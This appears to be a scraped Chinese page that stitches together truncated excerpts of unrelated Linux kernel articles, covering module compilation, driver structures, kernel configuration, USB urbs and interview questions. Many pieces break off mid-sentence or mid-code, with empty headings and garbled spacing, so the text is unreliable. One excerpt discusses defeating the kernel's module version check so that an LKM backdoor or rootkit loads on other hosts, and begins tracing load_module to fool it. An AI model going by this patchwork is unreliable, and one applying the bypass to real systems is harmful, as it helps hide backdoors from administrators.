这个命令将给出一个漂亮的输出,就是运行程序中用到的所有系统调用甚至包括管理员在他的伪装LKM(如果有的话)用到的系统调用。我没有能演示简单输出的超级管理程序,但我们可以看一下’strace whoami’的输出结果。

execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

0x40007000

mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0

open("/etc/ld.so.cache", O_RDONLY) = 3

mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000

close(3) = 0

stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory)

open("/lib/libc.so.5", O_RDONLY) = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096

mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000 mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000

mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000

mmap(0x40094000, 204536, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000

close(3) = 0

mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

munmap(0x40008000, 13363) = 0

mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0

mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0

mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0

personality(PER_LINUX) = 0

geteuid() = 500

getuid() = 500

getgid() = 100

getegid() = 100

brk(0x804aa48) = 0x804aa48

brk(0x804b000) = 0x804b000

open("/usr/share/locale/locale.alias", O_RDONLY) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000

read(3, "# Locale name alias data base\n#"..., 4096) = 2005

brk(0x804c000) = 0x804c000

read(3, "", 4096) = 0

close(3) = 0

munmap(0x40008000, 4096) = 0

open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0

mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000

close(3) = 0

geteuid() = 500

open("/etc/passwd", O_RDONLY) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0

Linux内核—文件系统模块的设计和开发

Linux内核—文件系统模块的设计和开发 郑小辉 摘要:目前,Linux技术已经成为IT技术发展的热点,投身于Linux技术研究的社区、研究机构和软件企业越来越多,支持Linux的软件、硬件制造商和解决方案提供商也迅速增加,Linux在信息化建设中的应用范围也越来越广,Linux产业链已初步形成,并正在得到持续的完善。随着整个Linux产业的发展,Linux技术也处在快速的发展过程中,形成了若干技术热点。 本文介绍了Linux的发展和特点,以及与其他文件系统的区别。文中主要是对Linux2.4.0内核文件系统源代码的分析,并参考其文件格式设计一个简洁的文件系统。源代码的分析主要介绍了VFS文件系统的结构,Linux自己的Ext2文件系统结构,以及文件系统中的主要函数操作。 在设计的简洁文件系统中,通过调用一些系统函数实现了用户的登录、浏览目录、创建目录、更改目录、创建文件以及退出系统功能。 关键字:Linux 源代码分析文件系统Ext2 Linux内核

Linux kernel -Design and development for the File System Module Zheng xiaohui Abstract: Currently, Linux IT technology has become a hot development technology. Participating in Linux technology research communities, research institutes and software enterprises are in support of Linux more and more, software and hardware manufacturers and solution providers have increased rapidly, In the development of the information industry the Linux application is also increasing, Linux industry chain has taken shape, and is sustained improvemently. With the entire industry in the development of Linux, and Linux is also at the rapid development process, formed a number of technical points. This paper presents the development of Linux and features, and with other file system differences. The main text of the document is Linux2.4.0 system kernel source code analysis, and I reference its file format to design a simple file system. The analysis of the source code mainly on the VFS file system structure, Linux Ext2 its own file system structures, file systems and the main function operation. In the design of the file simple system, some system function is used to achieve function such as: the user's login, browse catalogs, create directories, Change directory, create documents and withdraw from the system function and etc. Key words: Linux, the source code, file system, Ext2, Linux kernel

linux、内核源码、内核编译与配置、内核模块开发、内核启动流程

linux、内核源码、内核编译与配置、内核模块开发、内核启动流程(转) linux是如何组成的? 答:linux是由用户空间和内核空间组成的 为什么要划分用户空间和内核空间? 答:有关CPU体系结构,各处理器可以有多种模式,而LInux这样的划分是考虑到系统的 安全性,比如X86可以有4种模式RING0~RING3 RING0特权模式给LINUX内核空间RING3给用户空间 linux内核是如何组成的? 答:linux内核由SCI(System Call Interface)系统调用接口、PM(Process Management)进程管理、MM(Memory Management)内存管理、Arch、 VFS(Virtual File Systerm)虚拟文件系统、NS(Network Stack)网络协议栈、DD(Device Drivers)设备驱动 linux 内核源代码 linux内核源代码是如何组成或目录结构? 答:arc目录存放一些与CPU体系结构相关的代码其中第个CPU子目录以分解boot,mm,kerner等子目录 block目录部分块设备驱动代码 crypto目录加密、压缩、CRC校验算法 documentation 内核文档 drivers 设备驱动 fs 存放各种文件系统的实现代码 include 内核所需要的头文件。与平台无关的头文件入在include/linux子目录下,与平台相关的头文件则放在相应的子目录中 init 内核初始化代码 ipc 进程间通信的实现代码 kernel Linux大多数关键的核心功能者是在这个目录实现(程序调度,进程控制,模块化) lib 库文件代码 mm 与平台无关的内存管理,与平台相关的放在相应的arch/CPU目录net 各种网络协议的实现代码,注意而不是驱动 samples 内核编程的范例 scripts 配置内核的脚本 security SElinux的模块 sound 音频设备的驱动程序 usr cpip命令实现程序 virt 内核虚拟机 内核配置与编译 一、清除 make clean 删除编译文件但保留配置文件

linux内核配置模块编译安装

Linux内核配置编译和加载 Linux内核模块 Linux内核结构非常庞大,包含的组件也非常多,想要把我们需要的部分添加到内核中,有两个方法:直接编译进内核和模块机制 由于直接编译进内核有两个缺点,一是生成的内核过大,二是每次修改内核中功能,就必须重新编译内核,浪费时间。因此我们一般采用模块机制,模块本身不被编译进内核映像,只有在加载之后才会成为内核的一部分,方便了修改调试,节省了编译时间。 配置内核 (1)在drivers目录下创建hello目录存放hello.c源文件 (2)在hello目录下新建Makefile文件和Kconfig文件 Makefile文件内容: obj-y += hello.o //要将hello.c编译得到的hello.o连接进内核 Kconfig文件内容: 允许编译成模块,因此使用了tristate (3)在hello目录的上级目录的Kconfig文件中增加关于新源代码对应项目的编译配置选项 修改即driver目录下的Kconfig文件,添加

source "drivers/hello/Kconfig" //使hello目录下的Kconfig起作用 (4)在hello目录的上级目录的Makefile文件中增加对新源代码的编译条目 修改driver目录下的Makefile文件,添加 obj-$(CONFIG_HELLO_FOR_TEST) += hello/ //使能够被编译命令作用到 (5)命令行输入“make menuconfig”,找到driver device,选择select,发现test menu 已经在配置菜单界面显示出来 (6)选择test menu进入具体的配置,可以选择Y/N/M,这里我选择编译为M,即模块化 (7)保存退出后出现 (8)进入kernels目录中使用“ls -a”查看隐藏文件,发现多出.config隐藏文件,查看.config 文件

Linux驱动程序工作原理简介

Linux驱动程序工作原理简介 一、linux驱动程序的数据结构 (1) 二、设备节点如何产生? (2) 三、应用程序是如何访问设备驱动程序的? (2) 四、为什么要有设备文件系统? (3) 五、设备文件系统如何实现? (4) 六、如何使用设备文件系统? (4) 七、具体设备驱动程序分析 (5) 1、驱动程序初始化时,要注册设备节点,创建子设备文件 (5) 2、驱动程序卸载时要注销设备节点,删除设备文件 (7) 参考书目 (8) 一、linux驱动程序的数据结构 设备驱动程序实质上是提供一组供应用程序操作设备的接口函数。 各种设备由于功能不同,驱动程序提供的函数接口也不相同,但linux为了能够统一管理,规定了linux下设备驱动程序必须使用统一的接口函数file_operations 。 所以,一种设备的驱动程序主要内容就是提供这样的一组file_operations 接口函数。 那么,linux是如何管理种类繁多的设备驱动程序呢? linux下设备大体分为块设备和字符设备两类。 内核中用2个全局数组存放这2类驱动程序。 #define MAX_CHRDEV 255 #define MAX_BLKDEV 255 struct device_struct { const char * name; struct file_operations * fops; }; static struct device_struct chrdevs[MAX_CHRDEV]; static struct { const char *name; struct block_device_operations *bdops; } blkdevs[MAX_BLKDEV]; //此处说明一下,struct block_device_operations是块设备驱动程序内部的接口函数,上层文件系统还是通过struct file_operations访问的。

linux驱动工程师面试题整理

1、字符型驱动设备你是怎么创建设备文件的,就是/dev/下面的设备文件,供上层应用程序打开使用的文件? 答:mknod命令结合设备的主设备号和次设备号,可创建一个设备文件。 评:这只是其中一种方式,也叫手动创建设备文件。还有UDEV/MDEV自动创建设备文件的方式,UDEV/MDEV是运行在用户态的程序,可以动态管理设备文件,包括创建和删除设备文件,运行在用户态意味着系统要运行之后。那么在系统启动期间还有devfs创建了设备文件。一共有三种方式可以创建设备文件。 2、写一个中断服务需要注意哪些?如果中断产生之后要做比较多的事情你是怎么做的?答:中断处理例程应该尽量短,把能放在后半段(tasklet,等待队列等)的任务尽量放在后半段。 评:写一个中断服务程序要注意快进快出,在中断服务程序里面尽量快速采集信息,包括硬件信息,然后推出中断,要做其它事情可以使用工作队列或者tasklet方式。也就是中断上半部和下半部。 第二:中断服务程序中不能有阻塞操作。为什么?大家可以讨论。 第三:中断服务程序注意返回值,要用操作系统定义的宏做为返回值,而不是自己定义的OK,FAIL之类的。 3、自旋锁和信号量在互斥使用时需要注意哪些?在中断服务程序里面的互斥是使用自旋锁还是信号量?还是两者都能用?为什么? 答:使用自旋锁的进程不能睡眠,使用信号量的进程可以睡眠。中断服务例程中的互斥使用的是自旋锁,原因是在中断处理例程中,硬中断是关闭的,这样会丢失可能到来的中断。 4、原子操作你怎么理解?为了实现一个互斥,自己定义一个变量作为标记来作为一个资源只有一个使用者行不行? 答:原子操作指的是无法被打断的操作。我没懂第二句是什么意思,自己定义一个变量怎么可能标记资源的使用情况?其他进程又看不见这个变量 评:第二句话的意思是: 定义一个变量,比如 int flag =0; if(flag == 0) { flag = 1; 操作临界区; flag = 0; }这样可否?

linux2.6内核的编译步骤及模块的动态加载-内核源码学习-linux论坛

[原创]linux2.6内核的编译步骤及模块的动态加载-内核源码 学习-linux论坛 05年本科毕业设计做的是Linux下驱动的剖析,当时就买了一本《Linux设备驱动程序(第二版)》,但是没有实现将最简单的helloworld程 序编译成模块,加载到kernel里。不过,现在自己确实打算做一款芯片的Linux的驱动,因此,又开始看了《Linux设备驱动程序》这本书,不过已 经是第三版了。第二版讲的是2.4的内核,第三版讲的是2.6的内核。两个内核版本之间关于编译内核以及加载模块的方法都有所变化。本文是基于2.6的内核,也建议各位可以先看一下《Linux内核设计与实现(第二版)》作为一个基础知识的铺垫。当然,从实践角度来看,只要按着以下的步骤去做也应该可以实现成功编译内核及加载模块。个人用的Linux版本为:Debian GNU/Linux,内核版本为:2.6.20-1-686.第一步,下载Linux内核的源代码,即构建LDD3(Linux Device Drivers 3rd)上面所说的内核树。 如过安装的Linux系统中已经自带了源代码的话,应该在/usr/src目录下。如果该目录为空的话,则需要自己手动下载源代码。下载代码的方法和链接很多,也可以在CU上通过

https://www.doczj.com/doc/1e15854927.html,/search/?key=&;q=kernel&a mp;frmid=53去下载。不过,下载的内核版本最好和所运行的Linux系统的内核版本一致。当然,也可以比Linux系统内核的版本低,但高的话应该不行(个人尚未实践)。 Debian下可以很方便的通过Debian源下载: 首先查找一下可下载的内核源代码: # apt-cache search linux-source 其中显示的有:linux-source-2.6.20,没有和我的内核版本完全匹配,不过也没关系,直接下载就可以了: # apt-get install linux-source-2.6.20 下载完成后,安装在/usr/src下,文件名为: linux-source-2.6.20.tar.bz2,是一个压缩包,解压缩既可以得到整个内核的源代码: # tar jxvf linux-source-2.6.20.tar.bz2

Linux设备驱动程序举例

Linux设备驱动程序设计实例2007-03-03 23:09 Linux系统中,设备驱动程序是操作系统内核的重要组成部分,在与硬件设备之间 建立了标准的抽象接口。通过这个接口,用户可以像处理普通文件一样,对硬件设 备进行打开(open)、关闭(close)、读写(read/write)等操作。通过分析和设计设 备驱动程序,可以深入理解Linux系统和进行系统开发。本文通过一个简单的例子 来说明设备驱动程序的设计。 1、程序清单 //MyDev.c 2000年2月7日编写 #ifndef __KERNEL__ #define __KERNEL__//按内核模块编译 #endif #ifndef MODULE #define MODULE//设备驱动程序模块编译 #endif #define DEVICE_NAME "MyDev" #define OPENSPK 1 #define CLOSESPK 2 //必要的头文件 #include //同kernel.h,最基本的内核模块头文件 #include //同module.h,最基本的内核模块头文件 #include //这里包含了进行正确性检查的宏 #include //文件系统所必需的头文件 #include //这里包含了内核空间与用户空间进行数据交换时的函数宏 #include //I/O访问 int my_major=0; //主设备号 static int Device_Open=0; static char Message[]="This is from device driver"; char *Message_Ptr; int my_open(struct inode *inode, struct file *file) {//每当应用程序用open打开设备时,此函数被调用 printk ("\ndevice_open(%p,%p)\n", inode, file); if (Device_Open) return -EBUSY;//同时只能由一个应用程序打开 Device_Open++; MOD_INC_USE_COUNT;//设备打开期间禁止卸载 return 0; } static void my_release(struct inode *inode, struct file *file)

Linux设备驱动模型之platform总线深入浅出

Linux设备驱动模型之platform总线深入浅出 在Linux2.6以后的设备驱动模型中,需关心总线,设备和驱动这三种实体,总线将设备和驱动绑定。在系统每注册一个设备的时候,会寻找与之匹配的驱动;相反,在系统每注册一个驱动的时候,会寻找与之匹配的设备,而匹配由总线完成。 对于依附在USB、PCI、I2C、SPI等物理总线来这些都不是问题。但是在嵌入式系统里面,在Soc系统中集成的独立外设控制器,挂接在Soc内存空间的外设等却不依附在此类总线。基于这一背景,Linux发明了一种总线,称为platform。相对于USB、PCI、I2C、SPI等物理总线来说,platform总线是一种虚拟、抽象出来的总线,实际中并不存在这样的总线。 platform总线相关代码:driver\base\platform.c 文件相关结构体定义:include\linux\platform_device.h 文件中 platform总线管理下最重要的两个结构体是platform_device和platform_driver 分别表示设备和驱动在Linux中的定义如下一:platform_driver //include\linux\platform_device.h struct platform_driver { int (*probe)(struct platform_device *); //探测函数,在注册平台设备时被调用int (*remove)(struct platform_device *); //删除函数,在注销平台设备时被调用void (*shutdown)(struct platform_device *); int (*suspend)(struct platform_device *, pm_message_t state); //挂起函数,在关机被调用int (*suspend_late)(struct platform_device *, pm_message_t state); int (*resume_early)(struct platform_device *); int (*resume)(struct platform_device *);//恢复函数,在开机时被调用struct device_driver driver;//设备驱动结构}; 1 2 3 4 5 6 7 8

史上最全linux内核配置详解

对于每一个配置选项,用户可以回答"y"、"m"或"n"。其中"y"表示将相应特性的支持或设备驱动程序编译进内核;"m"表示将相应特性的支持或设备驱动程序编译成可加载模块,在需要时,可由系统或用户自行加入到内核中去;"n"表示内核不提供相应特性或驱动程序的支持。只有<>才能选择M 1. General setup(通用选项) [*]Prompt for development and/or incomplete code/drivers,设置界面中显示还在开发或者还没有完成的代码与驱动,最好选上,许多设备都需要它才能配置。 [ ]Cross-compiler tool prefix,交叉编译工具前缀,如果你要使用交叉编译工具的话输入相关前缀。默认不使用。嵌入式linux更不需要。 [ ]Local version - append to kernel release,自定义版本,也就是uname -r可以看到的版本,可以自行修改,没多大意义。 [ ]Automatically append version information to the version string,自动生成版本信息。这个选项会自动探测你的内核并且生成相应的版本,使之不会和原先的重复。这需要Perl的支持。由于在编译的命令make-kpkg 中我们会加入- –append-to-version 选项来生成自定义版本,所以这里选N。 Kernel compression mode (LZMA),选择压缩方式。 [ ]Support for paging of anonymous memory (swap),交换分区支持,也就是虚拟内存支持,嵌入式不需要。 [*]System V IPC,为进程提供通信机制,这将使系统中各进程间有交换信息与保持同步的能力。有些程序只有在选Y的情况下才能运行,所以不用考虑,这里一定要选。 [*]POSIX Message Queues,这是POSIX的消息队列,它同样是一种IPC(进程间通讯)。建议你最好将它选上。 [*]BSD Process Accounting,允许进程访问内核,将账户信息写入文件中,主要包括进程的创建时间/创建者/内存占用等信息。可以选上,无所谓。 [*]BSD Process Accounting version 3 file format,选用的话统计信息将会以新的格式(V3)写入,注意这个格式和以前的v0/v1/v2 格式不兼容,选不选无所谓。 [ ]Export task/process statistics through netlink (EXPERIMENTAL),通过通用的网络输出工作/进程的相应数据,和BSD不同的是,这些数据在进程运行的时候就可以通过相关命令访问。和BSD类似,数据将在进程结束时送入用户空间。如果不清楚,选N(实验阶段功能,下同)。 [ ]Auditing support,审计功能,某些内核模块需要它(SELINUX),如果不知道,不用选。 [ ]RCU Subsystem,一个高性能的锁机制RCU 子系统,不懂不了解,按默认就行。 [ ]Kernel .config support,将.config配置信息保存在内核中,选上它及它的子项使得其它用户能从/proc/ config.gz中得到内核的配置,选上,重新配置内核时可以利用已有配置Enable access to .config through /proc/config.gz,上一项的子项,可以通过/proc/ config.gz访问.config配置,上一个选的话,建议选上。 (16)Kernel log buffer size (16 => 64KB, 17 => 128KB) ,内核日志缓存的大小,使用默认值即可。12 => 4 KB,13 => 8 KB,14 => 16 KB单处理器,15 => 32 KB多处理器,16 => 64 KB,17 => 128 KB。 [ ]Control Group support(有子项),使用默认即可,不清楚可以不选。 Example debug cgroup subsystem,cgroup子系统调试例子 Namespace cgroup subsystem,cgroup子系统命名空间 Device controller for cgroups,cgroups设备控制器

linux设备驱动程序的hello模块编译过程

linux设备驱动程序的hello模块编译过程 今天把linux设备驱动程序(第三版)的第一个模块hello模块编译通过了,这个东西卡了我好长时间了,期间我又花了很多时间去看linux程序设计(第二版),终于今天机械性地完成了这个试验。 编译环境:虚拟机linux2.6.18内核,(如果内核不是2.6的,可以参考我的内核升级过程,另外一篇文章有详细记录) 源程序hello.c: ///////////////////////////////////////////////////////////////////// /////// #include #include #include MODULE_LICENSE("Dual BSD/GPL"); static int hello_init(void) //有的上面定义的是init_modules(void)是通不过编译的 { printk(KERN_ALERT "Hello, world\n"); return 0; } static void hello_exit(void) { printk(KERN_ALERT "Goodbye, world\n"); } module_init(hello_init); module_exit(hello_exit); ///////////////////////////////////////////////////////////////////// /// Makefile的内容: ifneq ($(KERNELRELEASE),) obj-m := hello.o else KDIR:=/lib/modules/$(shell uname -r)/build PWD:=$(shell pwd)

Linux内核驱动模块编写概览-ioctl,class_create,device_create

如果你对内核驱动模块一无所知,请先学习内核驱动模块的基础知识。 如果你已经入门了内核驱动模块,但是仍感觉有些模糊,不能从整体来了解一个内核驱动模块的结构,请赏读一下这篇拙文。 如果你已经从事内核模块编程N年,并且道行高深,也请不吝赐教一下文中的疏漏错误。 本文中我将实现一个简单的Linux字符设备,旨在大致勾勒出linux内核模块的编写方法的轮廓。其中重点介绍ioctl的用途。 我把这个简单的Linux字符设备模块命名为hello_mod. 设备类型名为hello_cl ass 设备名为hello 该设备是一个虚拟设备,模块加载时会在/sys/class/中创建名为hello_class 的逻辑设备,在/dev/中创建hello的物理设备文件。模块名为hello_mod,可接受输入字符串数据(长度小于128),处理该输入字符串之后可向外输出字符串。并且可以接受ioctl()函数控制内部处理字符串的方式。 例如: a.通过write函数写入“Tom”,通过ioctl函数设置langtype=chinese,通过read函数读出的数据将会是“你好!Tom/n” b.通过write函数写入“Tom”,通过ioctl函数设置langtype=english,通过read函数读出的数据将会是“hello!Tom/n” c.通过write函数写入“Tom”,通过ioctl函数设置langtype=pinyin,通过read函数读出的数据将会是“ni hao!Tom/n” 一般的内核模块中不会负责设备类别和节点的创建,我们在编译完之后会得到.o或者.k o文件,然后insmod之后需要mk nod来创建相应文件,这个简单的例子 中我们让驱动模块加载时负责自动创建设备类别和设备文件。这个功能有两个步骤, 1)创建设备类别文件class_cr eate(); 2)创建设备文件dev ice_create(); 关于这两个函数的使用方法请参阅其他资料。 linux设备驱动的编写相对wi ndows编程来说更容易理解一点因为不需要处理IR P,应用层函数和内核函数的关联方式浅显易懂。 比如当应曾函数对我的设备调用了open()函数,而最终这个应用层函数会调用我的设备中的自定义open()函数,这个函数要怎么写呢, 我在我的设备中定义的函数名是hello_mod_open,注意函数名是可以随意定义,但是函数签名是要符合内核要求的,具体的定义是怎么样请看 static int hello_mod_open(struct inode *, struct file *); 这样就定义了内核中的open函数,这只是定义还需要与我们自己的模块关联起来,这就要用到一个结构 struct file_operations 这个结构里面的成员是对应于设备操作的各种函数的指针。 我在设备中用到了这些函数所以就如下定义,注意下面的写法不是标准ANSI C的语法,而是GNU扩展语法。 struct file_operations hello_mod_fops = { .owner = THIS_MODULE, .open = hello_mod_open,

LINUX内核模块编程指南

第1章Hello, World 如果第一个程序员是一个山顶洞人,它在山洞壁(第一台计算机)上凿出的第一个程序应该是用羚羊图案构成的一个字符串“Hello, Wo r l d”。罗马的编程教科书也应该是以程序“S a l u t, M u n d i”开始的。我不知道如果打破这个传统会带来什么后果,至少我还没有勇气去做第一个吃螃蟹的人。 内核模块至少必须有两个函数:i n i t_m o d u l e和c l e a n u p_m o d u l e。第一个函数是在把模块插入内核时调用的;第二个函数则在删除该模块时调用。一般来说,i n i t_m o d u l e可以为内核的某些东西注册一个处理程序,或者也可以用自身的代码来取代某个内核函数(通常是先干点别的什么事,然后再调用原来的函数)。函数c l e a n u p_m o d u l e的任务是清除掉i n i t_m o d u l e所做的一切,这样,这个模块就可以安全地卸载了。

1.1 内核模块的Makefiles 文件 内核模块并不是一个独立的可执行文件,而是一个对象文件,在运行时内核模块被链接到内核中。因此,应该使用- c 命令参数来编译它们。还有一点需要注意,在编译所有内核模块时,都将需要定义好某些特定的符号。 ? _ _KERNEL_ _—这个符号告诉头文件:这个程序代码将在内核模式下运行,而不要作为用户进程的一部分来执行。 ? MODULE —这个符号告诉头文件向内核模块提供正确的定义。 ? L I N U X —从技术的角度讲,这个符号不是必需的。然而,如果程序员想要编写一个重要的内核模块,而且这个内核模块需要在多个操作系统上编译,在这种情况下,程序员将会很高兴自己定义了L I N U X 这个符号。这样一来,在那些依赖于操作系统的部分,这个符号就可以提供条件编译了。 还有其它的一些符号,是否包含它们要取决于在编译内核时使用了哪些命令参数。如果用户不太清楚内核是怎样编译的,可以查看文件/ u s r /i n c l u d e /l i n u x /c o n f i g .h 。 ? _ _SMP_ _—对称多处理。如果编译内核的目的是为了支持对称多处理,在编译时就需要定义这个符号(即使内核只是在一个C P U 上运行也需要定义它)。当然,如果用户使用对称多处理,那么还需要完成其它一些任务(参见第1 2章)。 ? C O N F I G _M O D V E R S I O N S —如果C O N F I G _M O D V E R S I O N S 可用,那么在编译内核模块时就需要定义它,并且包含头文件/ u s r /i n c l u d e /l i n u x /m o d v e r s i o n s .h 。还可以用代码自身来完成这个任务。 完成了以上这些任务以后,剩下唯一要做的事就是切换到根用户下(你不是以r o o t 身份编译内核模块的吧?别玩什么惊险动作哟!),然后根据自己的需要插入或删除h e l l o 模块。在执行完i n s m o d 命令以后,可以看到新的内核模块在/ p r o c /m o d u l e s 中。 顺便提一下,M a k e f i l e 建议用户不要从X 执行i n s m o d 命令的原因在于,当内核有个消息需要使用p r i n t k 命令打印出来时,内核会把该消息发送给控制台。当用户没有使用X 时,该消息146第二部分Linux 内核模块编程指南

Linux 2.6内核 模块编译 Makefile

编译模块的make file 必须是Makefile,不能是makefile. //why? ifneq ($(KERNELRELEASE),) obj-m := mytest.o mytest-objs := file1.o file2.o file3.o else KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) M=$(PWD) modules endif 解释为: KERNELRELEASE 是在内核源码的顶层Makefile中定义的一个变量,在第一次读取执行此Makefile时,KERNELRELEASE没有被定义, 所以make将读取执行else之后的内容。如果make的目标是clean,直接执行clean操作,然后结束。当make的目标为all时,-C $(KDIR) 指明跳转到内核源码目录下读取那里的Makefile;M=$(PWD) 表明然后返回到当前目录继续读入、执行当前的Makefile。当从内核源码目录返回时,KERNELRELEASE已被被定义,kbuild也被启动去 解析kbuild语法的语句,make将继续读取else之前的内容。else之前的内容为kbuild语法的语句, 指明模块源码中各文件的依赖关系,以及要生成的目标模块名。mytest-objs := file1.o file2.o file3.o表示mytest.o 由file1.o,file2.o与file3.o 连接生成。obj-m := mytest.o表示编译连接后将生成mytest.o模块。 ---------------------------------------------------------------------- 另外转载:

【IT专家】突破Linux内核模块校验机制

突破Linux 内核模块校验机制 1、为什么要突破模块验证Linux 内核版本很多,升级很快,2 个小内核版本 中内核函数的定义可能都不一样,为了确保不一致的驱动程序导致kernel oops,开 发者加入了模块验证机制。它在加载内核模块的时候对模块进行校验,如果模块与 主机的一些环境不一致,就会加载不成功。看下面一个例子,它简单的输出当期 系统中的模块列表:[root@localhost list]# uname -a Linux localhost.localdomain 2.6.18-128.el5 #1 SMP Wed Jan 21 10:44:23 EST 2009 i686 i686 i386 GNU/Linux 然后拷贝到另一台主机centos5.1xen 上:[root@localhost ~]# uname -a Linux localhost.localdomain 2.6.18-53.el5xen #1 SMP Mon Nov 12 03:26:12 EST 2007 i686 i686 i386 GNU/Linux 用insmod 加载:[root@localhost ~]# insmod list.ko insmod: error inserting ‘list.ko’: -1 Invalid module format 报错了,在看下dmesg 的信息:[root@localhost ~]# dmesg|tail -n 1 list: disagrees about version of symbol struct_module 先不管这是什么,总之我们的模块在另一台2.6.18 的主机中加载失 败。通常的做法et 下来,install 即可。但是它也有很多缺点,比如很不稳定,而 且在2.6.x 后内核已经取消了kmem 这个设备,mem 文件也做了映射和读写的限 制。rk 开发者没法继续sk 的神话了。反过来,如果我们的lkm 后门不需要编译环 境,也可以达到直接insmod 的目的,这是件多么美好的事情,而且lkm 后门更加稳 定,还不用像sk 在内核中添加了很多自己的数据结构。2、内核是怎么实现的 我们去看看内核在加载模块的时候都干了什么,或许我们可以发现点bug,然后 做点手脚,欺骗过去:)grep 下dmesg 里的关键字,看看它在哪个文件中:[root@localhost linux-2.6.18]# grep -r -i ‘disagrees about’kernel/ kernel/module.c: printk(“%s: disagrees about version of symbol %s\n”, 2.6.18/kernel/module.c: insmod 调用了sys_init_module 这个系统调用, 然后进入load_module 这个主函数,它解析 elf 格式的ko 文件,然后加载到内核中:/* Allocate and load the module: note that size of section 0 is always zero, and we rely on this for optional sections. */ static struct module *load_module(void __user *umod, unsigned long len, const char __user

Linux设备驱动程序学习(18)-USB 驱动程序(三)

Linux设备驱动程序学习(18)-USB 驱动程序(三) (2009-07-14 11:45) 分类:Linux设备驱动程序 USB urb (USB request block) 内核使用2.6.29.4 USB 设备驱动代码通过urb和所有的 USB 设备通讯。urb用 struct urb 结构描述(include/linux/usb.h )。 urb以一种异步的方式同一个特定USB设备的特定端点发送或接受数据。一个USB 设备驱动可根据驱动的需要,分配多个 urb 给一个端点或重用单个 urb 给多个不同的端点。设备中的每个端点都处理一个 urb 队列, 所以多个 urb 可在队列清空之前被发送到相同的端点。 一个 urb 的典型生命循环如下: (1)被创建; (2)被分配给一个特定 USB 设备的特定端点; (3)被提交给 USB 核心; (4)被 USB 核心提交给特定设备的特定 USB 主机控制器驱动; (5)被 USB 主机控制器驱动处理, 并传送到设备; (6)以上操作完成后,USB主机控制器驱动通知 USB 设备驱动。 urb 也可被提交它的驱动在任何时间取消;如果设备被移除,urb 可以被USB 核心取消。urb 被动态创建并包含一个内部引用计数,使它们可以在最后一个用户释放它们时被自动释放。 struct urb

struct list_head urb_list;/* list head for use by the urb's * current owner */ struct list_head anchor_list;/* the URB may be anchored */ struct usb_anchor *anchor; struct usb_device *dev;/* 指向这个 urb 要发送的目标 struct usb_device 的指针,这个变量必须在这个 urb 被发送到 USB 核心之前被USB 驱动初始化.*/ struct usb_host_endpoint *ep;/* (internal) pointer to endpoint */ unsigned int pipe;/* 这个 urb 所要发送到的特定struct usb_device 的端点消息,这个变量必须在这个 urb 被发送到 USB 核心之前被 USB 驱动初始化.必须由下面的函数生成*/ int status;/*当 urb开始由 USB 核心处理或处理结束, 这个变量被设置为 urb 的当前状态. USB 驱动可安全访问这个变量的唯一时间是在 urb 结束处理例程函数中. 这个限制是为防止竞态. 对于等时 urb, 在这个变量中成功值(0)只表示这个 urb 是否已被去链. 为获得等时 urb 的详细状态, 应当检查 iso_frame_desc 变量. */ unsigned int transfer_flags;/* 传输设置*/ void*transfer_buffer;/* 指向用于发送数据到设备(OUT urb)或者从设备接收数据(IN urb)的缓冲区指针。为了主机控制器驱动正确访问这个缓冲, 它必须使用 kmalloc 调用来创建, 不是在堆栈或者静态内存中。对控制端点, 这个缓冲区用于数据中转*/ dma_addr_t transfer_dma;/* 用于以 DMA 方式传送数据到 USB 设备的缓冲区*/ int transfer_buffer_length;/* transfer_buffer 或者 transfer_dma 变量指向的缓冲区大小。如果这是 0, 传送缓冲没有被 USB 核心所使用。对于一个 OUT 端点, 如果这个端点大小比这个变量指定的值小, 对这个USB 设备的传输将被分成更小的块,以正确地传送数据。这种大的传送以连续的 USB 帧进行。在一个 urb 中提交一个大块数据, 并且使 USB 主机控制器去划分为更小的块, 比以连续地顺序发送小缓冲的速度快得多*/

linux模块编译

